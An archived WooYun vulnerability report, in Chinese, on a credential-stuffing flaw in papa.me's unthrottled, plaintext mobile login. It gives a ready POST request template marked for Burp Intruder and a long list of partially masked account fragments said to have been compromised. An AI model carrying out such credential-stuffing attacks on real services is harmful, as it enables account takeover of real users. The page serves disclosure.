乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-05-03: 细节已通知厂商并且等待厂商处理中 2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开
啪啪网主站登陆接口设计缺陷可撞库大量账号证明
http://papa.me/studio/login/mobile接口登陆的地方没有登陆限制
post数据包明文传输用户名和密码:
POST /studio/login/mobile HTTP/1.1Host: papa.meUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://papa.me/studio/login/mobile?err=noUserCookie: __utma=29720254.446586014.1462013338.1462013338.1462013338.1; __utmb=29720254.4.10.1462013338; __utmc=29720254; __utmz=29720254.1462013338.1.1.utmcsr=wooyun.org|utmccn=(referral)|utmcmd=referral|utmcct=/corps/page/13; __utmt=1; Hm_lvt_e3ab933a9ad7d0cfcb41f46963ab7db4=1462013339; Hm_lpvt_e3ab933a9ad7d0cfcb41f46963ab7db4=1462013339Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 34mobile=§13777777777§&password=§123456§
撞库成功:
账号证明:
*****ode********** bombe**********2287499**********2370198**********angheng**********5896569********** jianh********** aa1bb********** 15131**********sd26356**********yc15935********** 49632********** lulei**********iunan86********** 19825**********ang1991********** w5216********** 19916**********edaoqin********** lovin********** feife**********llcrj13********** 19811********** zhaih********** zx753********** 12576********** 6aty4********** wind1********** ww102********** juan5**********hang242**********8081108********** a5770**********y023349**********abe8712********** smzz1********** 56601********** jw925********** jorda********** xlykl********** as878**********we8520a********** 33247********** jc520**********jl19890********** hzywj********** jia16********** 19891********** 19873********** 46044**********0205147********** 88152********** gh368********** xulik********** 19860********** a8592**********1994913********** 12345********** wyqq4********** 4e2be********** 87412********** gao12********** 19831**********yq55626**********j198705**********683523s********** lmz33********** Z3124********** q0000**********yy65202********** dongz********** cui13********** asd12********** rock1********** y8407**********sl27245**********eiwei12**********z198903********** hutao********** xiaom********** cz198**********9851217********** q7758**********jw36826********** wl910**********oveling********** qwe12**********aozi942********** qwe12**********c198962********** q3695********** 33445********** hero1********** xx963********** mangu********** han91********** wangx********** woai5********** g8607**********2332121********** wangj**********anghuan**********hu19892********** a8562**********anwei20********** mt918********** z1985********** llj81********** w5988**********uyang13**********o885723********** lxj62********** yangf********** l1330**********anglei3********** nisa1********** 63715********** 86129********** killm********** zhy53********** qcx28********** zhu61********** yhj41**********gt89901********** cy315********** wudi1**********oaiyouz**********23654wa**********98953lo**********o198503********** 33was********** sss52**********rk82218**********snl1987********** zz080********** sg121**********ongdong**********zl31104********** 19216********** weile**********hao8170********** 77974**********ihaowa1********** 66220********** 58116**********58zhaoj**********9881220********** 79042**********5133341********** a8525********** aini1********** 52430********** 55856********** 77225********** 19899********** 19861********** ex54f********** asdyi********** cui81**********645681x********** xz121********** tao67********** jljuj********** nike1********** maxin**********ianzhih**********9881216********** qq551********** womei**********r198911********** baobe**********y198802********** 74511********** zxszx********** qwasq**********sdfgh33**********obuzhid********** zhang********** myche********** cctt1********** a8rnn********** 82121********** woai1********** 15338********** ddrdd********** km110********** cjw19********** km110********** 19830********** 53504********** meiyu********** 14979********** yt090********** xi131**********uanghun********** cool1********** duxin**********hurui52********** 19851********** starw********** 79052********** moonc********** sai12********** 58724********** cheng********** eicel********** 19847********** cwj19**********as19870********** dubdu**********8915207********** 82042********** 83111**********iwendi1********** 68022********** sz123********** 53117********** 72304********** 19821********** 41921**********9630325**********gqian813********** hu082********** 88683**********iucheng********** 19841********** zuomi**********esign05********** foryo********** inter********** 19840********** zcjay**********anda910********** heyi0********** 88072********** 81032********** z2656********** ww604********** ichit********** liumi********** happy********** 77882**********iangzhe********** 12332********** ruizh********** 19850********** 21131********** 77585********** toffe********** 74186********** 26452********** zh361********** zxl12**********ohnnyz1********** djw10********** 87393********** a1s2d********** 77585**********iu19865********** z1358********** ys543********** zxq89********** z5929********** shibx********** 23271********** qwe32********** sq101********** x4653**********oma9010********** a1230********** 13091**********hengwei**********xy56113**********ightnin********** 89033********** lwp51********** 19891********** pwd60********** ivws8********** 25257********** a5914********** qaz11********** 58413**********iayuan1********** 12312********** tianj********** jinhu********** campe********** 12312********** 37983********** 88967********** 19920**********3992636**********irage20**********595591b********** 66268********** i9t00********** h7214********** nian5**********81215lo********** 19920********** 66723********** yu131********** mzk11********** use12********** lh881********** 55333********** lcy12**********truggle**********oralsea********** xc200********** 13145********** 74041********** 50325********** px110********** zys12********** 1qaz1********** 63710********** a3222********** lj102**********iudong1********** d4334********** 32642********** cheng********** Ken19********** 77885********** 56130**********hang162********** 19890********** jin8y********** hyl12********** yys09**********c888854**********1128069********** 31209********** passw**********j261011********** h9001********** finex********** 30952********** 8llng********** 19861********** 55899********** 11329********** yx250********** ufsof********** yatou********** luo25********** sky10**********1x1z105********** w1251********** 34151**********iongman********** 19730**********ck71848********** 521xb**********oshishe********** qq416********** e66n7********** 19851********** 89874********** 80541**********xg52207********** d7802********** 17110**********iangnan**********ede1990**********iuzhe52**********s087555********** ariel**********4600133********** 77585**********9920702********** heyul********** cary1********** y0397********** long1********** just4********** pxc81********** mak26********** 28306**********ianhui5********** dqlxs********** 19876********** 55828********** 32622********** 21033********** 24537********** zhao1********** woshi**********orry853********** zhang**********hadow10********** yjl31********** jiang********** 22667********** 11012********** 1878p********** 13085********** w215w**********huwen07********** wuzhu**********ao26792********** liang**********dy19891********** 63698********** 14916**********1108281**********m121100**********iyytu47********** dzp12********** w6014********** 19851**********a892217********** 66616********** pk335**********xc69679********** yuqua**********4949856********** feife**********hiyan52**********b872411**********hutao19********** 12365********** linji********** 48010********** 32824********** sevev********** pkpk1**********3785901********** asd32********** 19870********** 91517**********ui41623********** lujie**********5932911********** 28700********** 79973********** luoju********** 31363********** 82757********** 72607**********cb98765**********q223698********** 23146********** 19901********** v7013********** 10590********** womla********** 19921********** 84276********** abcdh**********b198510********** gexia********** lm860********** 48514**********qq46666**********sckb199********** dqsyl********** 12231********** 42521********** xiaof**********3779983********** 103wo**********enwen55********** maihu********** a6392********** 26984**********eckham9********** 369ww********** w7047********** humin********** magua**********anlin25********** jmh86********** 520ca**********hunling********** 77146**********11wanni********** 19873********** a3213********** handf**********zq19860********** long5********** 69558********** cy198********** 520ki**********x198912********** verda**********20susie**********hengc11**********9910112********** wujia**********olyrome**********7586583********** 31666********** 32128********** 52262********** 19898********** weko0********** qq199********** lh683**********hangshi********** 68927********** 25941********** 33025********** 12312********** lsm99********** 19871********** 19851********** 12312********** rocke********** wk322**********kq77585********** 36698********** ningy**********ueyue19**********6646478********** 98563********** 48314********** 32449**********9891213********** 12345********** xjn19********** qxj19********** z5721********** lb417********** 89102********** 43521********** 19951********** 32592********** ls216********** 51060********** 52142**********eiwei19********** 10020********** hsl19********** cueic**********ingjia5********** langj********** ml451********** 19900**********iao6075********** ediso********** zgj88********** hu123********** xiaok********** 88441********** a5811********** xiang********** hu454********** woshi**********3188245********** btrc5**********uosong8********** huyun********** 30951**********r198510********** r1990********** hejia**********2105265********** asdf7********** jia10********** 81313********** szl82********** 38383**********1010101**********2118686********** lihua********** 65115********** 19899********** sd411********** 63255********** 43620********** a1234********** a1990********** 19891**********gn33225********** lcle0**********unjian8**********eiwei19********** zwk13********** 10106********** 19830********** 65613**********eti1234********** 23387********** 28397********** 40511********** l9798********** 57176********** zzy91********** x8182********** 63500********** a5983********** dzybn**********s199439********** 49335********** 11015********** 26511********** 29920********** 52326********** fenge**********echen12********** 72180********** xw520********** mxc19**********hao5400********** w4568********** w7758********** mhd11**********5154968**********iubao06********** 59855********** 19896********** 35200**********8874151********** qw123********** r2ty6********** yxy91********** hj900********** women********** g3250********** shui1********** qj66d********** 58823**********3034380********** 55150********** ZHAOW********** 12336********** henry********** 31415********** h8846********** 87062********** wei12**********heng828********** 87581********** ilove********** 22656********** 86491********** siroh********** 5959w********** 19861**********oveling********** tianm********** donal********** 88775**********ui19900********** 25871********** st066********** 78020********** 11570********** 19823**********r199202********** weko0********** qq329**********3817932********** a7782********** 64158********** jiang********** 89950********** 19878********** gswjs********** 19880********** 19830********** 12355**********x198707********** goush********** 63620**********ainbow6********** 52571********** adsl1********** 1986z**********l198810********** 19840**********itao122********** wa110********** Wen80********** fry65********** wamm1********** arong********** 12312**********n199009********** aa139**********adezx19********** y1234**********1294652********** ggggm********** nian5********** 42245********** tw002********** zts12**********n198110********** AINI9********** 7654j********** 53wd6********** qq111**********ia86214**********sd12325********** 37659********** zhanf********** huyon********** a4250**********23wolai********** ym821********** 88040********** 82122********** 00000********** 33246********** dz930********** hy201**********ang8271********** 13455********** 72310********** 19834********** feng3********** xufan**********haoren2********** lm422********** 1c2b3********** sgz12**********i199003********** k8tze********** gaowe********** kukid********** 009gi**********2712887********** 82209********** 82691********** sky10********** 19772********** 19870********** hlb63********** 19866********** lxl19********** szl12********** 58585********** 20508********** 19880**********013519l********** 77762**********9884136********** 44124********** LOVE2********** zh361********** gt756**********hu86590********** 24533********** xiaoh********** lazy1********** w7047********** x3328********** 48105********** monso********** jonzo**********ede1990********** qwe78********** cxw89********** 19891********** 42215********** liubi********** 19890********** 86673********** 19851**********illiam0********** x2226********** 78787**********iuyang5********** dai12********** huanh********** aple1********** 27413********** chins********** 72387********** djw10********** li737********** sjy94********** 89081********** 58747********** 89122********** 31564********** 31346********** 51201********** zx418********** a1990********** lzk19********** xc200**********3779983********** 54521********** papa1********** z1990********** asd00********** 19900********** a7003********** 77029********** qqqq1********** han41********** a8562**********jxshy08********** 65201********** 38673********** numbe********** 57675********** 79808**********t198707********** 88963********** 22033********** womei********** test1**********wy19930********** 32802********** 13409********** 12345********** yb559********** ws890********** 11111********** meiyu**********ufeng45**********9576482********** junn1**********hina1su********** 36368********** 19901********** jian1********** 19871********** 12345********** 1989l********** ma687********** myj84********** caini********** hb199********** 21131********** sd545********** baoba********** zjsin********** 87710********** maxin**********1486488********** 35538********** df550********** wsp23********** 15935********** ad001********** 12914********** xlffl********** 34600********** qqq77********** 53608********** 19850********** xiaoy********** w3704**********1332588********** rainl********** 73368**********oh123do********** 88828********** 19897********** 33308********** 33233********** 27154********** 56515********** zpwhv********** 37449********** china********** 99557********** 88185**********iu22397********** chdod********** 19880********** 19945********** 86331********** woail********** 66141********** 19872**********uahui12********** 98563********** a1001********** wbh01********** meiqi********** 31490********** 32561********** 19881********** yzt92********** xiang********** dyz93********** a5201********** 71201**********iaogou5********** 19900**********uojunha********** 26282**********ichuang********** 25542********** 12166********** majie********** 12213********** baobe********** a3388********** 61122********** a1234**********23456ni********** chenz********** gogog********** 53558********** 49523********** 31415**********9902312********** 84102********** 19860********** wz911********** lvlv2********** 11111**********hangyu2**********23456ab********** wuhao********** 19145********** huwen********** 66837********** 88714********** 58796********** 19821********** juju1**********iki8011********** zwq52********** 19861**********ixiwei5**********ealrela********** 33211**********2liangx********** 57860********** louju**********haosme0**********sd13141********** 88289********** 20030********** 25263********** 65452********** a8624**********aq19913********** 58422********** 13608********** 62068********** 10186********** 21918********** feiya********** 85796********** 19830********** 19850********** slc07**********sd66813********** a6520********** 19859********** 51757********** 84881********** 22110********** 00000********** 42281**********aijianM********** 2z6vm********** 20340********** 52272********** 90559********** hu246**********8413142********** 17106********** 77686********** shagu********** 53285********** xieme********** 85381********** 50031********** 86859**********2332121********** 19907**********z246421********** 12312********** 66982********** 72182********** m1989**********989112y**********9900508********** 56130********** pgh88**********aikaiku********** 65032********** a4640********** lj668********** myb87********** 11011********** liu23**********5698741********** 58608********** 89989********** best0********** 10010********** linse********** 66784********** womla********** qq121********** 21207********** 10490********** 19880********** 26221********** huang********** wo2ji********** 88878********** mm538********** 1986z********** 19886********** 12131********** ylkzz********** 58921**********INGSHUA********** yatou********** 45685********** h7214********** 18312********** 88yun********** gg488********** 20908********** 22334********** 85885********** zx123**********x198912********** 62372********** majin********** jiang**********lb21998********** hjz88********** 39729********** 78935********** 78563********** lyliu********** 123qw********** xys19********** 19861********** rubyl**********hilidong**********eifei42********** 57021********** 88213********** lanma********** 19891********** 97041********** kkxkk********** jiaju********** sars1********** 55830********** 53675********** 77585********** linji**********aorongj********** 13624**********xzfxy19**********udi8612********** 84020********** 58243********** 24417**********zy19888**********olyrome********** a8rnn********** a3222**********cod*****
登陆可以控制别人账号发布内容:
验证码
危害等级:无影响厂商忽略
忽略时间:2016-05-09 09:00
暂无